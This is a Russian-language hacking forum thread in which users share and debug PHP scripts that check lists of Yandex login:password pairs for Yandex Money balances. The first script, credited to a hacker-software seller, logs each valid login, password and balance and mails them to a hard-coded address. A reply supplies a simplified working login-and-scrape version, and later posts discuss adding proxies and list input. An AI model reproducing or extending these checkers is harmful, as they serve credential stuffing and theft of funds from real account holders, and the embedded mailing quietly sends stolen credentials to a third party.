вот есть скрипт проверки яд на наличие баланса но почему то пишет ошибка авторизации (то что отправляет логи на [email protected] не обращайте внимание =) ) PHP: скрипт <? ###### ## Yandex Money Checker by iLuib ## ICQ: 499442 ## 20.11.2010 header('Content-type: text/html; charset=windows-1251'); $cookie = dirname(__FILE__).'/cookie'; $log_file = dirname(__FILE__).'/ya_money_logs.txt'; $log_mail = '[email protected]'; $log_temp = "{login};{pass} - {money}\r\n"; if ( !$_POST or empty($_POST['accs']) or empty($_POST['razd']) ) { echo ' <form action="" method="POST"> <b>Акки:</b><br> <textarea name="accs" style="width: 100%; height: 50%;"></textarea><br><br> <i>Разделитель:</i> <input name="razd" value=";"><br> <input type="submit" value="Check"> </form> <br><br> (c) 2010 Boss - YaSpam <br> <a href=http://zona-x.su>Хакерский софт - zona-x.su</a><br><a href=http://lab-sell.su>Продажа софт от Boss</a><br> ICQ: 499442 '; die; } ## Проверяем и парсим $accs = $_POST['accs']; $razd = $_POST['razd']; $accs = explode("\r\n",$accs); foreach ( $accs as $acc ) { $e = explode($razd,$acc); if ( empty($e[0]) or empty($e[1]) ) continue; $accounts[] = array( 'login' => $e[0], 'pass' => $e[1] ); } if ( count($accounts) <= 0 ) die('Нету акков! Проверьте поля и разделитель!'); ## Авторизуемся for ( $i=0;$i<=$c=count($accounts)-1;$i++ ) { empty_cookie(); $acc = $accounts[$i]; echo $i.'/'.$c.' - '; $login = login($acc['login'],$acc['pass']); if ( $login === true ) { echo 'Авторизовались...'; } elseif ( $login === false ) { echo 'Ошибка авторизации!<br>'; continue; } elseif ( $login === '-101' ) { echo 'Капча!<br>'; continue; } echo ' Чекаем...'; $money = check_money(); $log[] = str_replace('{money}',$money,str_replace('{pass}',$acc['pass'],str_replace('{login}',$acc['login'],$log_temp))); echo ' Баланс: '.$money.'<br>'; } ## Формируем список $text_log = @implode("\r\n",$log); $f = fopen($log_file,'w+'); $w = fwrite($f,$text_log); fclose($f); $mail = mail($log_mail, "Yandex Money Checher. ".date('d.m.Y H:i:s'), $text_log); ################################### FUNCTIONS function check_money () { $url = 'https://money.yandex.ru/'; $code = get($url); //echo $code; preg_match('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#Uis',$code,$money); if ( empty($money[1]) ) { $money = '0 или нет счета'; } else { $money = $money[1]; } return $money; } function login ($login,$pass) { if ( empty($login) or empty($pass) ) return false; $url = 'http://passport.yandex.ru/passport?mode=auth&msg=blogs&retpath='.mt_rand(0,990); $post = array( 'login' => $login, 'passwd' => $pass, 'twoweeks' => 'yes', 'timestamp' => time(), ); $code = get($url,$post); preg_match('#Location: (.*)\n#Uis',$code,$location); if ( !empty($location[1]) ) { $code = get(trim($location[1])); preg_match('#Location: (.*)\n#Uis',$code,$location); $location[1] = @str_replace('http://pass.yandex.ru/login?retpath=',null,$location[1]); $location[1] = @urldecode($location[1]); if ( empty($location[1]) ) return false; $code = get(trim($location[1])); } $code = mb_convert_encoding($code,'cp1251','utf-8'); if ( preg_match('#Изменить персональные данные|Создание страницы#Ui',$code) ) { return true; } elseif ( preg_match('#<div class="l">Введите цифры с картинки слева:</div>#Ui',$code) ) { return '-101'; } else { return false; } } function get ($url,$post=false,$headers=false) { global $cookie; $data = curl_init($url); if ($headers) curl_setopt($data, CURLOPT_HTTPHEADER, $headers); curl_setopt($data, CURLOPT_HEADER, 1); curl_setopt($data, CURLOPT_RETURNTRANSFER, 1); //curl_setopt($data, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($data, CURLOPT_COOKIEFILE, $cookie); curl_setopt($data, CURLOPT_COOKIEJAR, $cookie); curl_setopt($data, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($data, CURLOPT_SSL_VERIFYHOST, false); if ($post) { curl_setopt($data, CURLOPT_POST, 1); curl_setopt($data, CURLOPT_POSTFIELDS, $post); } $code = curl_exec($data); if ( !$code ) return false; // $code = mb_convert_encoding($code,'cp1251','utf-8'); return $code; } function empty_cookie () { global $cookie; $f = fopen($cookie,'w+'); fwrite($f,null); fclose($f); return true; } ?>
может у них в авторизации что-то изменилось ? или подскажите рабочий скрипт проверки яд на наличие баланса
Вот, накидал побыстрому: PHP: <?php function get_url($url, $ref = '', $header = '', $post = '', $cookie = '', $cookiefile = '', $proxy = '', $timeout = '', $popitok = 2) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($ref != '') curl_setopt($ch, CURLOPT_REFERER, $ref); if ($header != '') curl_setopt($ch, CURLOPT_HEADER, 1); if ($post != '') { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } if ($cookie != '') curl_setopt($ch, CURLOPT_COOKIE, $cookie); if ($cookiefile != '') { curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile); } if ($proxy != '') curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.60 (Windows NT 5.1; U; ru) Presto/2.1.1'); curl_setopt($ch, CURLOPT_ENCODING, "gzip"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if ($timeout != '') curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); $i = 0; do { $i++; flush(); $content = curl_exec($ch); } while ($i < $popitok && $content == '' || curl_errno($ch) != 0 && $i < $popitok); if (curl_errno($ch) != 0 || $content == '') { echo "<br><div style=\"border-style:solid; border-width:1px; width:750px; padding:10px; position:relative; border-color:#FF8000;\"><b><font color=\"#B30000\">Error CURL:</font></b> ".curl_error($ch)." | <b><font color=\"#B30000\">Error number:</font></b> ".curl_errno($ch)."<br> <b>Url: <a href='".$url."'> ".$url."</a></b></div><br><br>"; curl_close($ch); return false; } else { curl_close($ch); return $content; } } $post = "login=login&passwd=pass"; get_url('https://passport.yandex.ru/passport?mode=auth', 'http://www.yandex.ru/?ncrnd=5314256082', '', $post, '', $_SERVER['DOCUMENT_ROOT']."/Yandexcookies.txt"); $content = get_url('http://money.yandex.ru/', 'http://www.yandex.ru/?ncrnd=5314256082', '', '', '', $_SERVER['DOCUMENT_ROOT']."/Yandexcookies.txt"); $balanceCount = array(); preg_match_all('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#', $content, $balanceArr); print_r($balanceArr[1][0]); ?>
спасибо огромное что помог вот только у меня неработает пишет Error CURL: Failed to connect to 93.158.134.24: Operation not permitted | Error number: 7 Url: https://passport.yandex.ru/passport?mode=auth Error CURL: Failed to connect to 213.180.204.32: Operation not permitted | Error number: 7 Url: http://money.yandex.ru/ может я чет нето делаю ?
The error you are receiving is most likely do to a firewall blocking all outbound connections. Many shared hosting providers are blocking outgoing port 80 connections to try to stop rampant errors in PHP scripts that allow remote includes to then be used as an attack vector against the server. Что-то блочит. Если пробуешь с локалхоста попробуй выруби фаервол.
Я надеюсь ты правильный логин\пасс вписал в $post? Если нужен чекер, берущий логи из файлов, то надо дописать немного. Ну еще echo $content можешь сделать
если можешь допиши чтобы брал из файла или хоть чтобы список вставлять буду очень признателен! а если будет настроение и проксю прикрутить )))
miako спасибо тебе большое что откликнулся п.с. я в пхп полный ноль ))) вот в чем дело а чекер нужен ))
Я конечно не советник, но лучше обратиться в раздел "работа", шансов будет побольше. Если конечно жаба не душит.